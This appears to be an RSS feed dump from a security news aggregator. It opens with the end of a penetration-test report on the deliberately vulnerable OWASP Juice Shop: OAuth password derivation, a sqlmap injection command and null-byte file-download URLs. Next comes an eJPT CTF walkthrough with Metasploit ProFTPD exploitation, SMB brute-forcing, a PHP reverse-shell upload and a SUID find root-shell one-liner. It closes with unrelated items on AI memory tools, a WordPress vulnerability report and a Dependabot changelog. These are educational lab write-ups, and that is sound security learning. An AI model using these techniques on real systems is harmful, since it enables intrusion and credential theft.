login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.</p><p>This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.</p><h3>CWE ID</h3><ul><li>CWE-522 — Insufficiently Protected Credentials</li><li>CWE-287 — Improper Authentication</li><li>CWE-284 — Improper Access Control</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.</p><p>The OAuth workflow internally calls:</p><ul><li>userService.save() (user creation)</li><li>userService.login() (standard login)</li></ul><p>Both functions set the user password using the following logic:</p><pre>password = btoa(n.email.split("").reverse().join(""))</pre><h3>Password Generation Logic</h3><ul><li>The email address is reversed.</li><li>The reversed string is Base64-encoded.</li><li>The result is used as the account password.</li></ul><h3>Steps to Reproduce:</h3><h4>Identify OAuth Password Logic</h4><ul><li>Open main.js</li><li>Search for oauthLogin</li><li>Locate: password: btoa(n.email.split("").reverse().join(""))</li></ul><h4>Derive Victim Password</h4><p>Email: bjoern@gmail.com<br> Reversed: moc.liamg@nreojb<br> Base64 encoded password:</p><pre>bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*vCdCuyVKLSiLH_hhpgCIGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICsFhQCtxrXuosRiVJRgOQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Never generate passwords client-side</li><li>Separate OAuth and password authentication</li><li>Use strong, random credentials</li><li>Do not expose authentication logic</li><li>Perform security design reviews</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/">OWASP Top 10 — Broken Authentication</a></li><li><a href="https://cwe.mitre.org/data/definitions/522.html">CWE-522 — Insufficiently Protected Credentials</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc8252">OAuth 2.0 Security Best Practices (RFC 8252)</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>3. SQL Injection in Product Search Endpoint</h3><h3>Summary (with CWE)</h3><p>An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.</p><p>This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.</p><h3>CWE ID</h3><p>CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</p><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>The /rest/products/search API endpoint accepts user input via the <strong>q</strong> parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.</p><p>An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as <strong>sqlmap</strong> can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.</p><p>This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.</p><h3>Exploit Using sqlmap</h3><pre>sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oE0CHEd8TUToNy1MGhy4qg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9UhO9JS5Hl3YCBxryIDuA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6jvJUSScWD63XiOpBgzuQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTjbupN8n126CTwsYotbYQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFsmogCi-BSuofuUDJ45vg.png"></figure><p>Got User credentials :)</p><h3>Suggested Remediation</h3><ul><li>Sanitize and validate all user-supplied inputs</li><li>Implement parameterized queries</li><li>Deploy a Web Application Firewall (WAF)</li><li>Enable logging &amp; monitoring</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">OWASP SQL Injection Prevention Cheat Sheet</a></li><li><a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89 — SQL Injection</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Documentation</a></li><li>CVSS v3.1 Specification: <a href="https://www.first.org/cvss/v3.1/">https://www.first.org/cvss/v3.1/</a></li></ol><h3>4. Arbitrary File Download via Poison Null Byte Injection</h3><h3>Summary (with CWE)</h3><p>The application is vulnerable to <strong>Poison Null Byte Injection</strong>, allowing an attacker to bypass file extension validation and download <strong>sensitive backup files</strong> stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.</p><h3>CWE ID</h3><ul><li>CWE-158 — Improper Neutralization of Null Byte</li><li>CWE-22 — Improper Limitation of Pathname to Restricted Directory</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</p><p><strong>CVSS Base Score:</strong> 7.5 (High)</p><h3>Description</h3><p>OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a <strong>Poison Null Byte (%00) injection</strong> combined with <strong>double URL encoding</strong>.</p><p>The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.</p><p>This results in <strong>unauthorized access to sensitive backup files</strong>, potentially exposing configuration details, credentials, or business data.</p><h3>Steps to Reproduce:</h3><h4><strong>Access a Developer’s Forgotten Backup File:</strong></h4><ol><li>Navigate to the FTP directory: <a href="http://localhost:3000/ftp">http://localhost:3000/ftp</a></li><li>Attempt direct access (fails due to extension restriction): <a href="http://localhost:3000/ftp/package.json.bak">http://localhost:3000/ftp/package.json.bak</a></li><li>Try Poison Null Byte injection (fails initially): <a href="http://localhost:3000/ftp/package.json.bak%00.md">http://localhost:3000/ftp/package.json.bak%00.md</a></li><li>URL-encode the % character as well: <a href="http://localhost:3000/ftp/package.json.bak%2500.md">http://localhost:3000/ftp/package.json.bak%2500.md</a></li></ol><p>The server successfully returns the <strong>restricted backup file</strong>, completing the exploit.</p><h4><strong>Access a Salesman’s Forgotten Backup File</strong>:</h4><ol><li>Use the same Poison Null Byte technique: <a href="http://localhost:3000/ftp/coupons_2013.md.bak%2500.md">http://localhost:3000/ftp/coupons_2013.md.bak%2500.md</a></li><li>The backup file downloads successfully, revealing sensitive business data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvtP_eSL1Sza2N8_1_1Yag.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxtA320Y7ic8X98oKXa02A.png"></figure><p>Backup file downloads successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZwQ-UUtHidNkJxdbtjDSgw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-mITIIF8p-SjS0LxXk8ViQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Reject null bytes explicitly</li><li>Decode input before validation</li><li>Use allow-listed file access</li><li>Disable public access to backups</li><li>Use secure file APIs</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Foundation — OWASP Juice Shop</a></li><li><a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158: Improper Neutralization of Null Byte</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Testing Guide — File Handling Vulnerabilities</a></li><li><a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger — File Path Traversal &amp; Null Byte Attacks</a></li></ol><h3>Thanks For Reading :)</h3><p><strong>Happy Hacking ;)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=f8440a9735c1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vapt-report-example-f8440a9735c1">VAPT Report Example</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Host & Network Penetration Testing: Exploitation CTF 3 — eJPT (INE)]]></title>
<description><![CDATA[A walkthrough covering ProFTPD mod_copy exploitation, local service banner grabbing, SMB brute-force with webshell upload, and SUID binary privilege escalation to capture all four flags.Hello everyone!In this blog, I’ll walk through Exploitation CTF 3 from INE’s eJPT path. Two Linux targets this ...]]></description>
<link>https://tsecurity.de/de/3675299/hacking/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675299/hacking/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:39 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>A walkthrough covering ProFTPD mod_copy exploitation, local service banner grabbing, SMB brute-force with webshell upload, and SUID binary privilege escalation to capture all four flags.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*87U4fyepLVSRM9bGtqmnbQ.png"></figure><p>Hello everyone!</p><p>In this blog, I’ll walk through Exploitation CTF 3 from INE’s eJPT path. Two Linux targets this time — one running a vulnerable FTP service with a hidden local service, and another with a misconfigured Samba share that opens a path all the way to root.</p><p>So, let’s dive in.</p><h3>Q. A vulnerable service may be running on target1.ine.local. If exploitable, retrieve the flag from the root directory.</h3><p>As usual, I started with an Nmap scan:</p><pre>nmap -sV -sC target1.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0esbkOoRoB_2RtbiA5RC5A.png"></figure><p>Port 21 was open running <strong>ProFTPD 1.3.5</strong>, alongside port 80 (Apache). I searched for known exploits:</p><pre>searchsploit ProFTPD 1.3.5</pre><p>A Metasploit module came up immediately — exploit/unix/ftp/proftpd_modcopy_exec, which abuses the mod_copy module to execute arbitrary commands via FTP. I loaded it up and set the site path to /var/www/html — the default Apache web root on Linux — since the exploit writes a payload there to be triggered over HTTP:</p><pre>use exploit/unix/ftp/proftpd_modcopy_exec<br>set rhosts target1.ine.local<br>set sitepath /var/www/html<br>set lhost eth1<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K2zB3Wo4YD4eFRiTKACYgA.png"></figure><p>A shell session opened. I upgraded it to Meterpreter:</p><pre>sessions -u 1</pre><p>Then listed the root directory:</p><pre>meterpreter &gt; ls /</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*iCgXij4caoCW23EhRWepQg.png"></figure><p>flag1.txt was sitting right there in the root.</p><h3>Q. Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.</h3><p>I read the flag file:</p><pre>meterpreter &gt; cat /flag1.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*v3_wdlMA0-lFjjny7xr6og.png"></figure><p>Along with the flag value, it contained a hint: <em>“Remember, the magical word is ‘letmein’”</em>.</p><p>The question mentioned a local network service, so I checked what was listening internally:</p><pre>meterpreter &gt; netstat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTpn4VegwuC0aysg0ZpMQg.png"></figure><p>Port <strong>8888</strong> was open on 127.0.0.1 — not exposed externally, only reachable from inside the machine. I dropped into a shell and connected to it with netcat:</p><pre>meterpreter &gt; shell<br>nc -nv 127.0.0.1 8888</pre><p>It prompted for a secret passphrase. I entered letmein — and it returned Flag 2 directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KgH6U6iOXZPUsuKXWyhwQ.png"></figure><h3>Q. A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?</h3><p>Fresh Nmap scan on the second target:</p><pre>nmap -sV -sC target2.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d4jYtDskVIXurPFFNQhNwg.png"></figure><p>Ports 80, 139, and 445 were open — Samba running on a Linux target. The HTTP title read <em>“Can you Pwn me?”</em> — a clear invitation. I brute-forced SMB credentials across both users and passwords:</p><pre>use auxiliary/scanner/smb/smb_login<br>set rhosts target2.ine.local<br>set user_file /usr/share/wordlists/metasploit/common_users.txt<br>set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt<br>set createsession true<br>set verbose false<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PKSOkZ__Hrp-fpVWGLqkqg.png"></figure><p>Six accounts came back with valid credentials, all with the same password. Multiple SMB sessions opened automatically. I used the administrator session:</p><pre>sessions 8<br>shares<br>shares -i site-uploads<br>ls</pre><p>The site-uploads share was accessible and writable. The name itself was the giveaway — this share was almost certainly mapped to the web root. I uploaded a PHP reverse shell set to my IP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i_lZOr4nmUqskbA6wbXWoA.png"></figure><p>Set up a multi/handler listener, then triggered the shell by navigating to:</p><pre>http://target2.ine.local/site-uploads/shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lh-O23_XLKJK5Dze3TSp6w.png"></figure><p>Shell came back. Listing the root / directory showed flag3.txt right there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*vC0LfSf5aZCHXWm74C4cCA.png"></figure><h3>Q. Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?</h3><p>Still in the shell session, I upgraded to Meterpreter first:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Meqrnjx574wtEQjF1akclQ.png"></figure><p>Then dropped into a shell and searched for SUID binaries — files that run with the owner’s privileges regardless of who executes them:</p><pre>find / -type f -perm -4000 2&gt;/dev/null</pre><p>/usr/bin/find itself had the SUID bit set and was owned by root. This is a classic privilege escalation vector — if find runs as root and can execute commands, any user can spawn a root shell through it.</p><p>I checked <a href="https://gtfobins.org/">GTFOBins</a> — a community database of Unix binaries that can be abused to bypass local security restrictions — for the correct syntax:</p><pre>find . -exec /bin/sh -p \; -quit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iCjLaASM-_9QRWRipFiEFA.png"></figure><p>whoami returned root. Flag 4 was in /root.</p><h3>Final Thoughts</h3><p>Two techniques in this CTF are worth remembering beyond the lab.</p><p>The hidden port 8888 on target1 is a reminder that netstat inside a session reveals far more than an external Nmap scan ever will — internal services are invisible from outside and often completely unprotected because of it. Always check what's listening locally once you have a foothold.</p><p>The SUID find escalation on target2 is a textbook GTFOBins vector. The lesson isn't just about find specifically — it's about building the habit of checking for SUID binaries early in post-exploitation. And GTFOBins is the resource to bookmark: if a binary is on that list and has SUID, you likely have a path to root.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=9815c8abdfcb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine-9815c8abdfcb">Host &amp; Network Penetration Testing: Exploitation CTF 3 — eJPT (INE)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[4 Memory-Systeme, um KI aufzuschlauen]]></title>
<description><![CDATA[Wenn Ihre KI unter unzureichender „Gedächtnisleistung“ leidet, helfen diese Memory-Systeme von Drittanbietern (eventuell).DC Studio | shutterstock.com



KI-Agenten und die Large Language Models (LLMs), auf denen sie basieren, haben ein eher kurzlebiges „Gedächtnis“. Das ist so gewollt, schließli...]]></description>
<link>https://tsecurity.de/de/3675019/it-security-nachrichten/4-memory-systeme-um-ki-aufzuschlauen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675019/it-security-nachrichten/4-memory-systeme-um-ki-aufzuschlauen/</guid>
<pubDate>Fri, 17 Jul 2026 06:08:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/DC-Studio_shutterstock_2269121373_DEOnly_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Dev Meeting 16z9" class="wp-image-4075633" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Wenn Ihre KI unter unzureichender „Gedächtnisleistung“ leidet, helfen diese Memory-Systeme von Drittanbietern (eventuell).</figcaption></figure><p class="imageCredit">DC Studio | shutterstock.com</p></div>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/4189343/was-ki-agenten-wirklich-kosten.html" target="_blank">KI-Agenten</a> und die Large Language Models (<a href="https://www.computerwoche.de/article/4155050/25-fragen-die-zum-richtigen-llm-fuhren.html" target="_blank">LLMs</a>), auf denen sie basieren, haben ein eher kurzlebiges „Gedächtnis“. Das ist so gewollt, schließlich kann nur eine begrenzte Menge an Konversationsinhalten in Token kodiert und vom LLM zuverlässig abgerufen werden. Um KI-Agenten und Sprachmodelle mit „Hirnschmalz“ auszustatten, das über ihre Kontextfenster hinausreicht, lässt sich Retrieval Augmented Generation (<a href="https://www.computerwoche.de/article/4192090/so-geht-memory-optimierung-bei-ki-agenten.html" target="_blank">RAG</a>) einsetzen. Erfolgsentscheidend ist dabei, wie dieser Mechanismus (oder ein anderer, um Gesprächsdaten vorzuhalten) konkret zur Anwendung kommt.</p>



<p class="wp-block-paragraph">Ein anderer Weg, sowohl KI-Agenten als auch LLMs mit erweiterten Speicherfähigkeiten auszustatten, führt über Software-Tools von Drittanbietern. Diese können die KI mit einer Session-übergreifenden, persistenten Memory ausstatten. Auch hier variiert jedoch die Art und Weise, wie das technisch umgesetzt wird. Die folgenden vier Projekte sind besonders empfehlenswert, wenn es darum geht, KI-Agenten und Sprachmodelle smarter zu machen.    </p>



<h2 class="wp-block-heading">1. <a href="https://github.com/getzep/graphiti" target="_blank" rel="noreferrer noopener">Graphiti</a></h2>



<p class="wp-block-paragraph">Graphiti wird als „das Open-Source-Framework für temporale Knowledge-Graphen“ beworben. Das Projekt ist auf GitHub verfügbar – oder auch im Rahmen des <a href="https://www.getzep.com/" target="_blank" rel="noreferrer noopener">Memory-Service Zep</a>, für den es die Grundlage liefert. „Temporal“ bedeutet in diesem Zusammenhang, dass die in Graphiti gespeicherten Informationen im Laufe der Zeit reevaluiert werden, um den Kontext korrekt einzubetten. Der Begriff „Graph-Framework“ ist hingegen darauf zurückzuführen, dass die Daten dabei als eine Reihe von Graphen gespeichert werden. Dieses Feature spielt auch bei den anderen in diesem Artikel vorgestellten Lösungen eine Rolle – im Fall von Graphiti steht es allerdings im Fokus.</p>



<p class="wp-block-paragraph">Out of the Box unterstützt das KI-Memory-Projekt eine ganze Reihe gängiger LLMs, etwa von Anthropic, OpenAI, Google oder X. Auch sämtliche Ollama- und OpenAI-kompatiblen <a href="https://www.computerwoche.de/article/4004872/die-besten-apis-um-ki-zu-integrieren.html" target="_blank">APIs</a> funktionieren mit Graphiti – es kann also auch mit <a href="https://www.computerwoche.de/article/2830445/5-wege-llms-lokal-auszufuehren.html" target="_blank">lokal gehosteten LLMs</a> genutzt werden. Daten aus Quellen wie GitHub, Gmail und OneDrive sowie aus Anwendungen wie Notion lassen sich über Konnektoren einbinden.</p>



<p class="wp-block-paragraph">Um Graphiti lokal nutzen zu können, ist es allerdings nötig, eine Graphdatenbank einzurichten oder eine Verbindung zu einer solchen herzustellen. Die Standardlösung dafür (mit dem breitesten Support) ist <a href="https://neo4j.com/" target="_blank" rel="noreferrer noopener">Neo4j</a>. Davon abgesehen, funktionieren auch <a href="https://aws.amazon.com/neptune/" target="_blank" rel="noreferrer noopener">Amazon Neptune</a>, <a href="https://www.falkordb.com/" target="_blank" rel="noreferrer noopener">FalkorDB</a> und <a href="https://kuzudb.github.io/" target="_blank" rel="noreferrer noopener">KuzuDB</a>. <a href="https://www.computerwoche.de/article/3803224/postgresql-als-rag-vektordatenbank-nutzen.html" target="_blank">Postgres</a> mit <code>pgvector</code> ist (derzeit) hingegen keine Option bei Graphiti.</p>



<h2 class="wp-block-heading">2. <a href="https://hindsight.vectorize.io/" target="_blank" rel="noreferrer noopener">Hindsight</a></h2>



<p class="wp-block-paragraph">Das KI-Memory-Projekt Hindsight als Cloud Service verfügbar, kann jedoch auch lokal gehostet werden. Dieses Tool speichert Details zu Agenten-Sitzungen in <a href="https://hindsight.vectorize.io/#key-components">vier verschiedenen Memory-Instanzen</a> und wendet dabei vier unterschiedliche <a href="https://hindsight.vectorize.io/#multi-strategy-retrieval-tempr" target="_blank" rel="noreferrer noopener">Storage- und Retrieval-Strategien</a> an. Diese werden über drei programmatische Interfaces gehändelt:</p>



<ul class="wp-block-list">
<li><code>retain</code>, um Inhalte (einzelne Fakten oder komplette Sessions) zu speichern,</li>



<li><code>recall</code>, um den Content abzurufen, und</li>



<li><code>reflect</code>, um einen Agenten-Loop über eine Abfrage zu initiieren, die zuvor gespeicherte Daten nutzt.</li>
</ul>



<p class="wp-block-paragraph">In Sachen Integrationen hat Hindsight eine breite Palette von First- und Third-Party-Optionen <a href="https://hindsight.vectorize.io/integrations" target="_blank" rel="noreferrer noopener">zu bieten</a>. Wenn Sie beispielsweise die „Continue“-Erweiterung mit Visual Studio Code einsetzen, um mit einem lokal gehosteten LLM zu kommunizieren, können Sie die <a href="https://hindsight.vectorize.io/sdks/integrations/continue" target="_blank" rel="noreferrer noopener">entsprechende First-Party-Integration</a> nutzen. In diesem Fall verwenden Sie einfach das Keyword <code>@hindsight</code> in der Query, um den Agenten-Kontext um relevante Memory zu erweitern. Um sich die Arbeit zu erleichtern, respektive diese zu automatisieren, könnten Sie außerdem auch auf (anpassbare) Auto-Injection-Regeln zurückgreifen.</p>



<h2 class="wp-block-heading">3. <a href="https://github.com/mem0ai/mem0" target="_blank" rel="noreferrer noopener">Mem0</a></h2>



<p class="wp-block-paragraph">Wie Hindsight nutzt auch Mem0 <a href="https://docs.mem0.ai/core-concepts/memory-types" target="_blank" rel="noreferrer noopener">vier grundlegende Memory-Typen</a> – allerdings sind diese anders benannt und organisiert. Beispielsweise kommt im Fall von Mem0 die sogenannte „Organizational Memory“ zum Einsatz, um Daten zu speichern, die zwischen verschiedenen KI-Agenten(-Teams) geteilt werden sollen.</p>



<p class="wp-block-paragraph">Jede Form von Memory, die über Mem0 hinzugefügt wird, durchläuft einen „<a href="https://docs.mem0.ai/core-concepts/memory-evaluation#memory-extraction-distillation" target="_blank" rel="noreferrer noopener">Destillationsprozess</a>“ und wird auf unterschiedliche Art und Weise (Vektor-, Graph- oder SQL-Datenbank) gespeichert. Ältere Daten werden bei Mem0 nicht gelöscht, sondern als veraltet markiert – eine Strategie, um einen umfassenderen, längerfristigen Kontext zu erzeugen.</p>



<p class="wp-block-paragraph">Das Projekt unterstützt im Vergleich – etwa zu Hindsight – weniger LLMs, die wichtigen Anbieter (Anthropic, Google, OpenAI) sind jedoch vertreten. Dazu kommen Self-Hosting-Optionen über <a href="https://www.computerwoche.de/article/2827054/was-ist-langchain.html" target="_blank">LangChain</a>, <a href="https://www.litellm.ai/" target="_blank" rel="noreferrer noopener">LiteLLM</a>, <a href="https://www.computerwoche.de/article/4131576/lm-studio-angetestet.html" target="_blank">LM Studio</a> und <a href="https://ollama.com/" target="_blank" rel="noreferrer noopener">Ollama</a>. Falls Sie Mem0 lokal statt <a href="https://mem0.ai/pricing" target="_blank" rel="noreferrer noopener">als Service</a> nutzen möchten, ist es nötig, eine Python-Instanz und eine eigene Vektordatenbank bereitzustellen. Für Letzteres ist Postgres mit der <code>pgvector</code>-Erweiterung eine gängige und simple Option, die sogar innerhalb einer virtuellen Python-Umgebung <a href="https://github.com/orm011/pgserver" target="_blank" rel="noreferrer noopener">installiert werden kann</a>.</p>



<h2 class="wp-block-heading">4. <a href="https://supermemory.ai/" target="_blank" rel="noreferrer noopener">Supermemory</a></h2>



<p class="wp-block-paragraph">Supermemory erfasst Daten aus vielen gängigen Quellen und unterstützt dabei unter anderem Plaintext, strukturierte Daten, PDF- und Office-Dokumente sowie Video-, Audio- und Bilddateien. Aus diesen Informationen erstellt das Tool einen Kontextgraphen, der anschließend als Grundlage für Chatbot-Konversationen fungiert. PR-mäßig setzt dieses Projekt den Fokus vor allem auf seine Context-Extraktions-Tools.</p>



<p class="wp-block-paragraph">Supermemory ist entweder als Cloud-Dienst oder als quelloffene, lokal ausführbare Software verfügbar. Die <a href="https://github.com/supermemoryai/supermemory" target="_blank" rel="noreferrer noopener">Open-Source-Version</a> lässt zwar die Scaling Services und Drittanbieter-Konnektoren der Enterprise-Version vermissen – hat jedoch einen entscheidenden Vorteil: Sie besteht aus einer einzelnen <a href="https://www.computerwoche.de/article/4128783/4-self-contained-datenbanken-fur-entwickler.html" target="_blank">Self-Contained</a>-Binary. So lässt sie sich auch auf der eigenen Hardware mit sehr überschaubarem Aufwand bereitstellen.</p>



<p class="wp-block-paragraph">Da für dieses Projekt zudem keine externen Datenbanken aufgesetzt werden müssen, eignet es sich in besonderem Maße für (agile) Experimente. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/4192397/four-agentic-ai-memory-systems-for-smarter-llms.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Wordfence Intelligence Weekly WordPress Vulnerability Report (July 6, 2026 to July 12, 2026)]]></title>
<description><![CDATA[Last week, there were disclosed in and that have been added to the Wordfence Intelligence Vulnerability Database, and there were that contributed to WordPress Security last week. Review those vulnerabilities in this report now to ensure your site is not…
Read more →
The post Wordfence Intelligenc...]]></description>
<link>https://tsecurity.de/de/3674607/it-security-nachrichten/wordfence-intelligence-weekly-wordpress-vulnerability-report-july-6-2026-to-july-12-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674607/it-security-nachrichten/wordfence-intelligence-weekly-wordpress-vulnerability-report-july-6-2026-to-july-12-2026/</guid>
<pubDate>Thu, 16 Jul 2026 22:38:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Last week, there were disclosed in and that have been added to the Wordfence Intelligence Vulnerability Database, and there were that contributed to WordPress Security last week. Review those vulnerabilities in this report now to ensure your site is not…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/wordfence-intelligence-weekly-wordpress-vulnerability-report-july-6-2026-to-july-12-2026/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/wordfence-intelligence-weekly-wordpress-vulnerability-report-july-6-2026-to-july-12-2026/">Wordfence Intelligence Weekly WordPress Vulnerability Report (July 6, 2026 to July 12, 2026)</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[v0.387.0]]></title>
<description><![CDATA[What's Changed

Type the gradle, swift, and pre_commit ecosystems by @JamieMagee in #15534
Default cooldown to 3 days when default-days is not specified (behind a feature flag) by @robaiken with @Copilot in #15344
Use shared base cooldown in git_submodules by @robaiken in #15537
[Update graph] Av...]]></description>
<link>https://tsecurity.de/de/3674606/it-security-tools/v03870/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674606/it-security-tools/v03870/</guid>
<pubDate>Thu, 16 Jul 2026 22:33:50 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Type the gradle, swift, and pre_commit ecosystems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4834841548" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15534" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15534/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15534">#15534</a></li>
